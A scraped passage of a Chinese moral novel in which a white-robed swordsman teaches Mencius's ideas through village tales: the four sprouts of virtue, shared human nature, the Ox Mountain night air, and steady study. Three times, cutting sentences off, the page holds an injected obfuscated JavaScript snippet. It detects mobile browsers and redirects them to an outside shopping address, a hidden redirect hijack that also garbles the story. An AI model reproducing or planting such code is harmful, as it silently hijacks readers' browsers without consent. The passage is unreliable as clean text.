“此便是羞恶之心。”白衣人道,“然你为何仍讼?因你想:‘田本该有我份’‘兄不公’‘不争是懦’。种种理由,掩了羞恶心。此心一蔽,义便不存。” 他取木剑,在田界碑上划一道线:“今日我为你二人定新界——此田一分二,你兄弟各半。可愿?” 张仁急道:“不可!此田本相连,分则水脉断,两败俱伤!” “那当如何?” 兄弟对视,忽齐声道:“合种!” 白衣人笑:“善!羞恶心明,自生智慧。从今合种,收成对分,如何?” 二人跪谢。白衣人扶起,在界碑上刻: “田产有界心无界, 羞恶分明义自存。 但得兄弟同耘耔, 何须阡陌辨亲恩。” 又对围观乡邻道:“诸位见否?人皆有羞恶心,知对错。然常因‘理’‘利’‘气’而自欺。若能直面此心,问一句‘我可羞否’,许多争端自消。” 自此,河内田讼减半。有争者,乡老便问:“可羞否?”多半垂首和解。 三、 恭敬市井 第三日,白衣人至市井。见绸缎庄前,掌柜呵斥一老农:“摸甚摸!摸脏了你赔得起?” 老农缩手,讷讷道:“想…想给闺女扯布…” 白衣人上前,对掌柜一揖:“掌柜的,孟子言恭敬之心,人皆有之。你可有?” 掌柜愣住:“自然有…” “那何以恶声对老者?” “他手脏…” “手脏可洗,心垢难除。”白衣人取一锭银,“这匹布我买了,送这位老丈。” 又对众商贩道:“诸位做生意,笑脸迎客,是恭敬否?是。然此恭敬,是敬钱,还是敬人?若敬钱,则富者恭贫者倨;若敬人,则贫富如一。孟子谓恭敬之心是礼之端,此心发为真礼,非虚礼。” 他指布庄招牌:“今我添一字,可好?” 不待答,木剑点出,在“兴隆布庄”旁,添了个“敬”字,成“兴隆敬布庄”。 掌柜怔然。白衣人道:“从今凡老人、贫者入店,皆称‘老丈’‘大娘’,可否?若有难,价让三分,可否?” 掌柜垂首:“谨…谨遵教诲。” 白衣人又对老农一揖:“老丈,方才掌柜失礼,我代赔罪。此布送你,愿令嫒裁衣时,心中欢喜。” 老农泪下,市井观者,多有惭色。当日,河内市井,罕见吵嚷。商贩见贫者,多添笑意。 四、 是非公堂 第四日,白衣人入府衙。刘知府正审一案:富户李百万告佃户周三盗牛。周三喊冤,然有证人见其夜牵牛。 白衣人立堂下:“大人,容学生一问。” 刘知府准。 “证人见周三牵牛,是何时?” “子时。” “牛是何色?” “黄牛。” “牵往何处?” “往…往西山。” 白衣人问周三:“你家在何处?” “东…东村。” “子时牵牛往西山,为何?” 周三叩头:“小人那夜是去西山采药,为病母治病,并未见牛!” 白衣人忽对李百万道:“员外,你那牛,可是左角有疤?” 李百万一惊:“你…你怎知?” “我不但知,”白衣人自袖中取出一张牛皮,上烙“李”字,左角果有疤,“还知此牛三日前已死,被埋在西山乱坟岗。你可要开棺验牛?” 李百万瘫倒。白衣人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088183|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对知府道:“此案是非,明矣。然学生想问:满堂衙役、证人、旁观者,初见周三贫苦,便信其盗牛;见李百万富贵,便信其言实。此是非之心,是依贫富,还是依道理?” 满堂寂然。 白衣人叹:“孟子言是非之心,智之端。此心人皆有,能辨对错。然常因贫富、亲疏、利害而偏。今之世,多少是非颠倒,正因此心被蔽。若人人遇事,能摒除外缘,但问本心‘是耶非耶’,天下冤狱,可减大半。” 他取木剑,在公堂柱上刻: “是非之心人皆有, 莫因贫富作熏莸。 但得灵台常拂拭, 不教明镜惹尘浮。” 刘知府肃然下座,对白衣人长揖:“先生四日教,胜读十年书。本官…惭愧。” 白衣人还礼:“大人立四心碑,是善举。然碑是死物,心是活泉。愿大人以四心审案,以四心待民,则河内可治。” 飘然而去。 尾声四心泉 刘知府果以四心为治。审案必问:“可有恻隐?”“可感羞恶?”“可存恭敬?”“可明是非?”河内讼事日稀,民风渐淳。 又三年,河内大治。刘知府迁任前,于四心碑旁掘一井,名“四心泉”,并立碑记此事。碑阴详述白衣人来去,末云: “白衣先生,不知何许人。其来也倏忽,其去也杳然。然留四心之教,泽被河内。今凿此泉,喻四心如泉,人皆可浚。愿后来者,饮泉思心,葆此四端,则孟子之道,永存人间。” 泉成那日,有牧童见白衣人立碑前,以手掬水,饮而笑曰: “恻隐原是心中泉, 羞恶分明义自全。 恭敬生礼非虚礼, 是非在智是真诠。 四心本是天生具, 何须外觅圣贤言。 但得人人勤拂拭, 人间何处不桃源?” 歌罢,踏水而去,步步生莲。 牧童归告,乡人往观,果见泉畔青苔上,有莲花状水印,三日不干。 自此,四心泉成河内圣地。有夫妇不睦者,饮泉思“恭敬”;有兄弟相争者,饮泉思“羞恶”;有见义不为者,饮泉思“恻隐”;有是非难断者,饮泉思“智明”。 泉旁杨柳,百年常青。 而四心碑上字迹,风雨不蚀。 像在提醒每个过客: 你心中,本有清泉。 莫让尘劳,塞了源头。 本章诫世 一、 四心本有之实 - 孟子谓恻隐、羞恶、恭敬、是非四心,人皆有之,非外铄 - 破解法:遇善恶抉择时,莫怨本性,当问本心是否被蔽 - 示例:老妪恻隐被惧蔽,兄弟羞恶被利蔽,商贾恭敬被财蔽,众人是非被势蔽 二、 心蔽之因 - 四心常被利害、得失、亲疏、贫富等外缘遮蔽 - 惕世:最大的恶,非无心,是自蔽其心还自欺 - 反思:多少“不得已”,实是放纵心蔽? 三、 浚泉之喻 - 四心如泉,需常拂拭疏浚 - 深层隐喻:教化在唤醒,非灌输;在疏浚,非堵塞 - 终极指向:人人心中皆有善泉,社会当为疏浚者,非堵塞者 四心偈: 开成十一年河内,四心碑立府衙前。 白衣点破蔽心处,百姓泣陈愧悔篇。 恻隐羞恶皆本有,恭敬是非乃天全。 至今泉畔杨柳绿,犹说当年剑影翩。 后世叹: 大周河内民风漓,知府立碑思化之。 白衣四日解四心,百姓一时醒百痴。 恻隐能通冰窟险,羞恶可解田产疑。 至今泉涌清如许,尽是人间未泯彝。 正是: 河内府衙碑巍巍,四心铭刻映朝晖。 白衣论道破心蔽,百姓聆教泣泪挥。 恻隐羞恶皆固有,恭敬是非莫外祈。 劝君勤浚心中泉,莫待枯时叹昨非。 32. 心同谳 楔子丰凶异相 大燕宣和三年,青州有孪生兄弟,兄名丰年,弟名凶岁。兄弟同年同貌,性情却异:丰年温良恭俭,凶岁暴戾乖张。乡人不解,问其父,父叹:“丰年生于丰岁,仓廪实;凶岁生于凶岁,米缸空。天时不同耳。” 是年秋,青州大熟。城南富户设“尝新宴”,邀乡绅品新谷。席间,丰年谦和让坐,凶岁却因位次不满,掀桌怒骂。主人责之,凶岁瞪目:“我饿时,谁让我坐?我饱时,倒要我让?” 座中忽闻轻笑:“此言有理。” 众视之,见末席一白衣人,斗笠面纱,正以箸拨盘中新米。 主人不悦:“阁下笑什么?” 白衣人起身,负木剑踱至庭中:“孟子曰:‘富岁,子弟多赖;凶岁,子弟多暴。非天之降才尔殊也,其所以陷溺其心者然也。’” 他指丰年、凶岁:“此兄弟,同父同母同日生,何以性情殊?非天性异,是所历丰凶异,陷溺其心。今兄饱食,故温良;弟曾饥,故暴戾。诸位但责弟暴,可曾想其暴之由?” 凶岁闻言,怔住,泪忽下。 一、 麦田同种 白衣人邀兄弟至自家田。田分两畦,左畦麦苗青壮,右畦萎黄。白衣人问:“此麦同种同播,何以异?” 丰年观之:“左畦地肥,右畦地瘠。” “然。”白衣人颔首,“孟子譬喻:麰麦播种,地同树时同,皆熟。其不同者,地有肥硗,雨露人事不齐。人亦如此——同为父母生,同是血肉躯,其后善恶,在境遇滋养。” 他取木剑,在田埂刻: “人心如麦苗, 境遇乃土壤。 丰凶非本性, 润枯在雨旸。” 凶岁跪泣:“先生…我非愿暴戾。少时饥,见人食肉,我拾骨;见人衣锦,我衣褐。心中积怨,遇事即爆…我…我控制不住。” 白衣人扶起:“非你不能,是你心田久旱,未得润泽。今我与你兄弟一赌:以此右畦瘠田,我教你耕种,一年后,看与左畦孰优。” 凶岁疑:“此田已瘠…” “地瘠可肥,心瘠亦可肥。”白衣人自怀中取一袋种子,“此乃‘同理麦’,种时需兄弟合力,兄挖坑,弟下种,兄培土,弟浇水。缺一不可。” 兄弟对视,点头。 一月后,麦苗出,虽仍瘦,已见绿意。凶岁每日浇水除草,竟渐静心。乡人奇之,问其故,凶岁挠头:“看着苗长,心里…舒坦。” 二、 屦肆同足 麦苗渐长,白衣人携兄弟入城。至“刘氏屦肆”,见掌柜与客争。客足大,欲买屦,掌柜曰无此号。客怒:“天下足同,何无我号?” 白衣人上前揖道:“足真同否?” 掌柜指满架屦:“足有大小阔狭,岂能同?” “孟子引龙子言:‘不知足而为屦,我知其不为蒉也。’”白衣人道,“虽不知足大小,但知是足非筐,故可制屦。今掌柜见足大,便拒售,是不知足之同——同需履,同畏寒,同行路。此是同,何拒?” 掌柜语塞。白衣人取木剑,削木为屦模,曰:“我今为这位客官制屦,可愿观?” 众围看。白衣人手法如飞,削木、编麻、缝底,片刻成屦。客试穿,竟合脚。众喝彩。 白衣人谓掌柜:“天下足形虽异,其需履同;天下人心虽异,其需义理同。掌柜开肆,当思足之同需,莫只见足之异形。” 又对兄弟道:“你二人,性似异,实同需——需人理解,需人尊重,需人信义。今兄得之,故温;弟未得,故暴。非你异,是遇异。” 凶岁恍然,对兄揖:“哥,这些年…苦了你。” 丰年泪下,抱弟:“是哥未体你心。” 兄弟相拥泣。白衣人在肆门题: “足虽有大小,皆需履; 心虽历丰凶,皆向义。 莫因形异拒同需, 但以理同慰相知。” 自此,刘氏屦肆改规:凡客至,必量足制屦,不拒大足。又设“义屦架”,收旧屦修整,赠贫者。青州传为美谈。 三、 味馆同嗜 又数日,白衣人引兄弟至“易牙味馆”。馆主姓易,自诩易牙后裔,烹艺绝伦。然馆有陋规:珍馐仅供贵客,常菜乃飨平民。 凶岁不满:“同样是客,何以分等?” 易馆主嗤:“贵客知味,俗人但饱。岂可同席?” 白衣人笑问:“孟子云:‘口之于味,有同嗜也。’易牙先得众口所嗜,故称知味。敢问馆主,贵客之口与平民之口,可有二舌?” 馆主语塞。 白衣人指壁上“易牙遗风”匾:“易牙若在,见你以味分人,当掀此匾。味之同嗜,不分贵贱。今我请馆主烹一味,邀贵贱同尝,可敢?” 易馆主傲然:“便烹‘一味同心羹’,看谁品出高低!” 遂入厨,取寻常菘菜、豆腐、山菌,以高汤煨炖。羹成,清素无华。馆主分盛十碗,五碗金边,五碗陶碗,杂置案上,闭目道:“请尝。” 贵客与平民各取碗尝。片刻,众人皆赞:“鲜!” 馆主睁眼:“孰碗更鲜?” 众面面相觑——金边碗、陶碗,滋味无差。 白衣人抚掌:“善!孟子言:‘如使口之于味也,其性与人殊,若犬马之与我不同类也,则天下何嗜皆从易牙之於味也?’今诸位皆赞此羹,可见口有同嗜,不因碗异。心同理义,亦如是——不因贵贱而殊。” 他取木剑,在灶台刻: “口有同嗜不分碗, 心同理义岂别颜。 但得一味真知在, 何必金玉饰鼎镌。” 易馆主愧,撤分席规,改“同心堂”,价分三等,味皆同烹。又设“义羹”,日施百碗济贫。 凶岁问白衣人:“先生,我尝此羹,觉美。丰年亦觉美。此是同嗜。然则我心向义,与圣人同否?” 白衣人正色:“孟子云:‘心之所同然者何也?谓理也,义也。圣人先得我心之所同然耳。’你怒不公,是向义;悔己暴,是向理。此心同然,与圣人无异,只是圣人先明,你后觉罢了。” 凶岁如闻钟鸣,伏地再拜。 四、 理义同悦 麦熟时,兄弟右畦麦,竟与左畦齐穗,籽实饱满。乡邻称奇,问白衣人施何法。 白衣人指心:“无他,润其心田耳。凶岁昔暴,是因心田久旱,生荆棘。今以理解润之,以信任溉之,以希望煦之,荆棘自化嘉禾。” 凶岁果变,温厚勤勉,助兄持家,孝养双亲。年终,兄弟合撰《丰凶记》,述心境之变,赠乡里传阅。 宣和四年元夕,青州办“同心灯会”,万民同乐。丰年凶岁制巨灯,形如麦穗,上书孟子语:“理义之悦我心,犹刍豢之悦我口。” 灯升起时,白衣人忽现灯下,仰面观灯,含笑点头。 凶岁急趋前:“先生!学生…学生明矣!心同理义,如口同嗜。从前我怨天尤人,是因未见此‘同’。今知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088184|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人人心中有此同然,便觉世道可亲,人心可暖。” 白衣人问:“若再遇不公,当如何?” “以同理心度之,以同理义导之。”凶岁答,“如先生教:莫因形异拒同需,但以理同慰相知。” “善。”白衣人解木剑赠之,“此剑无名,可名‘同理’。持之,非为争胜,为斩心中荆棘,护此同理心。” 又对众朗声道:“诸位,孟子言‘凡同类者,举相似也’,人皆同类,心皆同理。今见丰年凶岁,可知境遇能陷溺其心,亦能彰显其心。但使我等着意润泽心田,除其荆棘,灌以理义,则人人皆可发心苗,结实穗,不逊圣人。” 言罢,踏歌行: “丰岁凶岁本同根, 心同理义即灵源。 莫因境遇分高下, 但得润泽皆琅轩。 口同嗜,耳同听, 目同美,心同然。 劝君勤溉心中亩, 自有嘉禾映青天。” 歌声袅袅,人随歌远。 凶岁捧剑,对空长揖。 自此,青州有俗:凡兄弟阋墙、邻里相争,长者必问:“可记丰年凶岁乎?”争者多愧而和解。 又数年,凶岁设“同理堂”,收教顽劣少年,以“润心田”为法,化导百人。每有少年躁暴,他便示以木剑,讲白衣人故事。 少年问:“先生,那白衣人,究竟何人?” 凶岁望天:“是孟子所言‘先得我心之所同然’者。你我心中皆有此人,只是…他先醒了。” 堂前有联,乃凶岁亲书: “口同嗜味何分碗, 心同理义本同灯。” 灯,即那盏麦穗灯,年年元夕升起,照得青州夜如白昼。 仿佛在说: 看,人心同理,如灯同明。 莫让境遇的风,吹灭了这点光。 本章诫世 一、 境遇陷心之实 - 丰凶异相,非天性殊,乃境遇陷溺其心 - 破解法:见人暴戾,当思其陷溺之由,非责其性恶 - 示例:凶岁之暴,源少时饥寒缺爱;一旦得润泽,善心自彰 二、 人同类心同理 - 孟子以口同嗜、耳同听、目同美,证心同理义 - 惕世:莫因外在差异,否定人心相通;莫因境遇殊途,断言本性殊归 - 反思:多少歧视偏见,源于不见此“同”? 三、 润心田之要 - 心田需润泽,理义如甘霖 - 深层隐喻:教化在提供滋润环境,非强扭枝干 - 终极指向:人人心中皆有嘉禾种,需社会以同理义为雨露 心同偈: 宣和三年青州秋,孪生兄弟性殊流。 白衣论心明陷溺,木剑润田化刚柔。 屦肆同足知共需,味馆同嗜泯贵俦。 至今同理堂前月,犹照人间未竟修。 后世叹: 大燕宣和青州城,丰凶兄弟判浊清。 一席话醒陷溺苦,双畦麦证润泽功。 口同嗜味方知味,心同理义始通义。 莫道人间多异路,灵台同然月同明。 正是: 青州秋熟宴新粮,兄弟殊性惹评章。 白衣论心明陷溺,木剑润亩化刚强。 口同嗜味何分碗,足共需履岂异裳? 至今同理堂前训,犹嘱人间莫自戕。 33. 夜气谳 楔子濯濯山 大凉永平五年,渝州有山名“茂材”,昔年松柏参天,今成童山濯濯。樵夫叹:“三十年前,此山木可十围,今竟无一苗。” 山下有村,村中有豪绅姓屠,名世财,开矿伐木,富甲一方。其子屠耀祖,年十八,暴戾乖张,殴仆虐畜,乡人避如蛇蝎。有老儒劝:“郎君当收敛心性。”耀祖嗤:“我生来如此,能奈我何?” 清明,屠家祭祖。耀祖嫌祭品不丰,踹翻供桌,骂父:“老货吝啬!”世财气晕,族人皆摇头:“此子禽兽,非人也。” 忽闻山道有人歌: “牛山曾是美木林, 旦旦斧斤成濯濯。 人心本有仁义苗, 朝伐暮牧何萧索。” 众视之,见一白衣人,斗笠面纱,负木剑,正仰观秃山。 老儒揖问:“先生歌中‘牛山’,是孟子所言‘牛山之木’乎?” “然也。”白衣人指秃山,“孟子曰:‘牛山之木尝美矣,以其郊于大国也,斧斤伐之,可以为美乎?’今此山木尽,是人见其濯濯,以为山本无材。岂知非山之过,是斧斤牛羊之过。” 耀祖闻言,冲至面前:“你是骂我渝州人滥伐?” 白衣人转视之,良久:“我骂滥伐者,亦骂自伐者。” “何谓自伐?” “人心中有仁义之苗,如木在山。若旦旦伐之,则成濯濯之心。人见其禽兽,以为未尝有才,此岂人之情哉?”白衣人声渐厉,“如你屠耀祖,心中岂无善苗?却被怒气伐,被骄气牧,被戾气牛羊啃噬,今成童山。可悲,可叹!” 耀祖暴怒,挥拳欲殴,忽见白衣人目光澄澈如镜,照出自己狰狞面目,拳竟僵在半空。 一、 斧斤旦伐 白衣人邀众人上山。至山顶,但见树桩累累,如坟冢。屠世财叹:“昔年我父在此伐木,日进百金。至我,木尽矿竭,怕是报应。” “非报应,是道理。”白衣人抚一树桩,“孟子云:‘其所以放其良心者,亦犹斧斤之于木也,旦旦而伐之,可以为美乎?’山木旦旦伐,则濯濯;人心旦旦伐,则禽兽。屠公子心中善苗,便是被三把斧所伐——” 他转向耀祖:“一为溺爱斧。你父早年致富,愧于陪你,便以金银填你。你要月,不给星。此斧伐你感恩心。” 耀祖一怔。 “二为纵欲斧。你任性,无人敢忤,要打便打,要骂便骂。此斧伐你羞恶心。” 耀祖低头。 “三为骄横斧。众人畏你家势,逢迎阿谀,使你自以为天之骄子。此斧伐你恭敬心。” 耀祖额汗涔涔。 白衣人声转悲悯:“三斧旦旦伐,你心中善苗,安得不枯?今日你踹父骂祖,非你本心如此,是你心已成濯濯山,无木可栖良心了。” 屠世财扑通跪地:“先生!可能救?” “救山难,救心易。”白衣人扶起,“孟子曰:‘其日夜之所息,平旦之气,其好恶与人相近也者几希。’人每至平旦,夜气清明,良心萌蘖。然你旦昼所为,又将其梏亡。今我问你——” 他直视耀祖:“你可曾夜深人静,忽觉日间所为太过,心生悔意?可曾梦醒时分,想对父说句软话,却开不了口?” 耀祖浑身剧震,泪如雨下:“有…有!每夜后悔,天一亮,又…” “这便是夜气。”白衣人颔首,“此气如朝露,本可润心苗,却被你旦昼暴行梏亡。梏之反复,夜气不存,则离禽兽不远。今你知悔,是夜气未绝。若得养护,心苗可苏。” 言罢,取木剑在山岩刻: “人心如山林, 旦伐成濯濯。 夜气犹萌蘖, 养护可再蔚。” 刻毕,对耀祖道:“我与你约:七日为限,你每夜子时,独上此山,静坐至平旦,接引夜气。白日遇怒,先数十息。可敢?” 耀祖咬牙:“敢!” 二、 夜气萌蘖 第一夜,耀祖上山。但见月黑风高,树影如鬼。他惧,欲退,忽见岩上刻字“夜气犹萌蘖”,硬头皮坐定。 初时焦躁,渐闻松涛虫鸣,心稍静。子时过,万籁俱寂,忽忆儿时父背他看灯,父颈汗味犹在鼻端。那时父未富,父子亲密… 悔意如潮,泪湿衣襟。 平旦,东方既白,山气清凉。耀祖忽觉胸中块垒消减,下跪对空三叩,默念:“从今少作孽。” 次日,仆役失手碎杯,耀祖怒起,忽忆“数十息”,强压火气,只摆手:“下次小心。”仆役愕然,如见鬼。 第二夜,耀祖上山更早。静坐中,忆起曾殴一老仆,只因茶烫。那老仆伤卧三日,他未探问…悔恨如绞。 平旦归,亲携药探老仆。老仆惊惶欲跪,耀祖扶住:“往日我畜牲不如,您多包涵。”老仆泣不成声。 第三夜,忆起踹翻供桌,对父不孝,对祖不敬…山中长嚎,以头抢地。 平旦,归家直入父房,跪地不起。屠世财惊扶,耀祖泣道:“儿…儿知错了。”父子抱头痛哭。 消息传开,乡人疑:“屠霸王做戏乎?” 至第五日,有佃户欠租,被家丁绑来。耀祖见状,亲解其缚,问:“欠多少?”佃户颤答:“三石。”耀祖道:“免了。再赠你三石,好生度日。”并斥家丁:“今后讨租,不准绑人!” 满堂皆惊。 白衣人此时现身,笑问:“可觉心中萌蘖?” 耀祖揖:“如春草破土,虽细弱,然是绿意。” “善。”白衣人引他至后园,指一枯槐,“此树似死,然根未绝。若停斧斤,避牛羊,得雨露,可再发。你心亦如是。” 当夜,白衣人与耀祖同坐山顶。授以“养气诀”:“每至平旦,万籁俱寂时,静心观呼吸。若有悔意,不压不纵,观其生灭。白日遇事,先问:此怒伐我心苗否?此行牧我良心否?” 耀祖默记。七日满,人皆言屠子脱胎换骨。 三、 牛羊又牧 然考验方至。旧日狐朋狗友来邀,往赌坊“耍乐”。耀祖初拒,众讥:“怎的?从良了?”耀祖面红,半推半就前往。 赌坊乌烟瘴气,耀祖坐片刻,忽觉胸闷,耳畔似闻白衣人语:“牛羊又从而牧之…” 他豁然起身,推牌离去。众哄笑,他头也不回。 归途遇恶少欺辱卖炭翁,耀祖旧性复发,上前揪住恶少衣领,拳将落,忽止——心中自问:此是义愤,还是暴戾?若为义愤,当论理;若为暴戾,便是伐心苗。 遂松手,对恶少正色:“他年老,你不羞?”恶少讪讪退。 扶起老翁,代偿炭钱。老翁跪谢,耀祖避让:“该我谢您——您让我知,拳头可打人,亦可扶人。” 白衣人暗处颔首。 又数日,家业纠纷。有远亲来争矿脉,言辞激烈。屠世财欲以势压,耀祖劝:“爹,争利如伐木,今日伐人,明日人伐我。不若让几分,积点夜气。” 屠世财奇:“儿啊,你真变了。” 耀祖道:“非变,是心苗得养,自生枝叶。往日我如濯濯山,今始有绿意,不忍再秃。” 遂让三分利,远亲感愧,反赠股。两家和解,乡人称善。 白衣人闻之,作歌曰: “昨日濯濯山,今朝萌蘖青。 非是山性改,斧斤牛羊停。 人心亦如是,夜气贵在存。 但得旦昼惜,何惧禽兽邻。” 耀祖闻歌,对山三拜。自此,每晨对镜自诫:“勿伐勿牧,养护此心。” 四、 操存舍亡 秋深,白衣人将行。耀祖请留,白衣人摇首:“我如雨露,润你一时。长久养护,在你自己。孔子曰:‘操则存,舍则亡;出入无时,莫知其乡。’此心操存之要,在‘慎独’二字。” 他指后园枯槐:“此树我已灌水施肥,根脉已苏。然能否成材,在它不遭斧斤,不遇牛羊。你心亦如是。” 又取木剑,于槐身刻“操存”二字:“见字如见我。操之则存,舍之则亡。你自抉择。” 耀祖泣送。白衣人去后,耀祖果“慎独”:白日行善,夜则静坐。又劝父停矿植林,屠家渐转行当,广植松柏,十年后,茂材山复绿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088185|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 永平十五年,耀祖中乡试,任县丞。上任日,有豪绅赠厚礼,耀祖拒之,指堂上自题匾“夜气存”,曰:“我昔为濯濯山,幸得夜气润泽,方有今日。此气易失难存,诸公莫使我复秃。” 阖县肃然。 是年冬,耀祖巡乡,见一恶少殴父,酷似当年自己。耀祖不怒,邀至少坐,问:“可曾夜半悔?”恶少茫然。耀祖叹:“你心山未秃,莫再伐了。”耐心劝导,赠以《养心录》。后恶少果改,人问其故,答:“屠公言,人心如山林,我怕秃。” 又数载,茂材山松柏成海,乡人呼“重生林”。耀祖年四十,鬓已星,常携子侄入山,指老槐“操存”刻字,述白衣人事。子侄问:“白衣人何在?” 耀祖指满山松涛:“在山风中,在夜气里,在每人心苗萌蘖时。” 一日,有游方僧过,见“操存”二字,合十:“此二字,可抵一部《孟子》。” 耀祖问:“大师知白衣人否?” 僧笑:“白衣人是幻,夜气是真。孟子曰:‘苟得其养,无物不长;苟失其养,无物不消。’施主能养此山,能养此心,便是见他了。” 言罢,踏叶而去,履下生云。 耀祖独立山巅,但见夕照漫林,千松皆金。山风过处,涛声如海。 似是那夜气的回响。 尾声重生林碑 耀祖致仕后,于茂材山建“夜气亭”,立“重生林碑”,记此事。碑阴刻《孟子》牛山章句,碑阳自撰跋文: “余少时暴戾,人谓禽兽。非性本恶,乃斧斤旦伐,牛羊暮牧,心山成濯濯耳。幸遇白衣先生,教以夜气之养,操存之功。十年树木,百年树人。今山已蔚,心未敢荒。立此碑,警后来者:人心如山林,莫伐莫牧。旦昼惜气,夜半存真。则虽濯濯之山,亦可复苍翠矣。” 碑成日,乡老稚子皆至。有顽童问:“屠公,白衣人真能教坏人变好?” 耀祖抚其首:“非他教,是他唤醒你我心中本有之善。此善如木之根,虽伐虽牧,根在则能萌。你每夜静思,日间可有愧悔?那愧悔,便是萌蘖。护它,便能成林。” 自此,渝州有俗:凡子弟顽劣,长者便携上茂材山,指碑教之。夜半,常有少年独坐亭中,接引夜气。 林深处,时闻木剑叩石声。 清脆,悠远。 似在问: 你的心山,今日伐了几斧? 本章诫世 一、 心山濯濯之因 - 人非性恶,乃良心旦旦遭伐(溺爱、纵欲、骄横等),暮暮被牧(恶习、环境、诱惑等) - 破解法:见人暴戾,当思其心山被伐之由,非断其性恶 - 示例:屠耀祖之暴,非天生,乃三斧旦伐所致 二、 夜气之珍 - 平旦之气(夜气)是良心萌蘖之时,最易被旦昼所为梏亡 - 惕世:当珍惜夜深人静时的愧悔之念,此是心苗复苏之机 - 反思:多少人在旦昼追逐中,梏亡了这点夜气? 三、 操存之功 - 心之存亡,在操舍之间。操则存,舍则亡 - 深层隐喻:修养是时时操存夜气,非一曝十寒 - 终极指向:人人皆有心山,莫任斧斤牛羊;人人皆有夜气,当时时操存 夜气偈: 永平五年渝州秋,茂材山秃如童叟。 白衣说破斧牧害,屠子夜坐接气幽。 濯濯非因山性劣,苍苍贵在养护周。 至今重生林涛响,犹劝人间少斫斸。 后世叹: 大凉渝州屠氏子,少时暴戾人避之。 白衣指山喻心木,屠子夜坐悟气滋。 斧斤旦伐原可止,牛羊暮牧犹可驰。 但得操存常慎独,何愁濯濯不成蕤。 正是: 茂材山木竟成童,屠子暴行人避同。 白衣说山喻心木,夜气存养胜天工。 斧斤旦伐原可已,牛羊暮牧犹可攻。 劝君珍惜平旦息,莫待濯濯泣秋风。 34. 一暴谳 楔子三日塾 大晋景和七年,江陵有“三日塾”,塾师姓郝,名一暴,自诩通晓百艺,授徒规矩奇特:每门学问,只教三日。有徒问:“三日岂能学成?”郝师捻须:“圣人云‘一日暴之’,我教三日,已是三倍功夫!” 是年秋,郝师新开“弈道班”,扬言:“三日可成国手。”招得二徒:一为盐商子金专心,一为猎户子赵致志。二人同入门,同习弈。 第一日,郝师授弈理,金专心凝神静听,赵致志却东张西望。郝师不悦:“致志何故分心?”赵致志挠头:“学生…学生听见窗外雁鸣,想此时若在南山,可射雁矣。” 第二日,授弈谱,金专心默记棋路,赵致志以指画弓,念念有词。 第三日,对弈考校。金专心布局严谨,赵致志漏洞百出。郝师摇头:“朽木不可雕也。”逐出赵致志,独留金专心深造。 赵致志不服,嚷道:“先生教三日,我学两日半,何咎之有?” 忽闻堂外有人笑:“好个‘一日暴之,十日寒之’!” 众视之,见一白衣人,斗笠面纱,倚门而立,手中木剑轻叩门槛。 郝师蹙眉:“阁下笑什么?” 白衣人踱入,指堂上“三日成器”匾:“孟子曰:‘虽有天下易生之物也,一日暴之,十日寒之,未有能生者也。’今先生教弈三日,便期成国手,岂非‘一暴’?学生学二日半而心在鸿鹄,岂非‘十寒’?如此教学,何异于缘木求鱼?” 郝师面红:“你…你懂什么!我三日塾成才者众!” “成何才?”白衣人环视,“可是半瓶醋、浮萍根?” 此时,金专心忽起身揖道:“先生,学生…学生其实也学不进去。” 满堂皆惊。 一、 一暴十寒 金专心坦言:“学生父为盐商,逼我学弈,谓可交结官绅。我连日夜背棋谱,实则心中苦楚,常想家中账本…所谓专心,是装的。” 赵致志瞪大眼:“那你昨日赢我…” “我背得多罢了,真要实战,怕不如你。”金专心垂首。 白衣人抚掌:“这便是了!郝师,你这‘三日塾’,看似教人‘一暴’,实是助人‘十寒’——学者迫于功利,强装专心,心实不在。一旦离塾,必弃如敝履。孟子谓‘吾见亦罕矣,吾退而寒之者至矣’,今你是‘见之暴之’,你退后,‘寒之’更甚。” 郝师语塞。白衣人问二徒:“你二人真心想学弈否?” 金专心摇头,赵致志却道:“想!可我…我忍不住想射雁。” 白衣人笑:“弈道射艺,皆需专心致志。孟子举弈秋之例:‘其一人专心致志,惟弈秋之为听。一人虽听之,一心以为有鸿鹄将至,思援弓缴而射之,虽与之俱学,弗若之矣。’今你心在鸿鹄,便是未得专心之法。非你不能,是你未悟专心之道。” 他引二人至院中梧桐下:“我与你二人赌:我授专心之法,三十日后,你二人对弈,若仍不如专心,我赔你百两银。” 赵致志雀跃:“若我胜呢?” “你胜,说明专心可学;你败,说明你心真在鸿鹄,不如学射。”白衣人转问金专心,“你呢?真心想做什么?” 金专心嗫嚅:“我…我想学琴。父说我指长,宜弈,可我闻琴音则心动…” 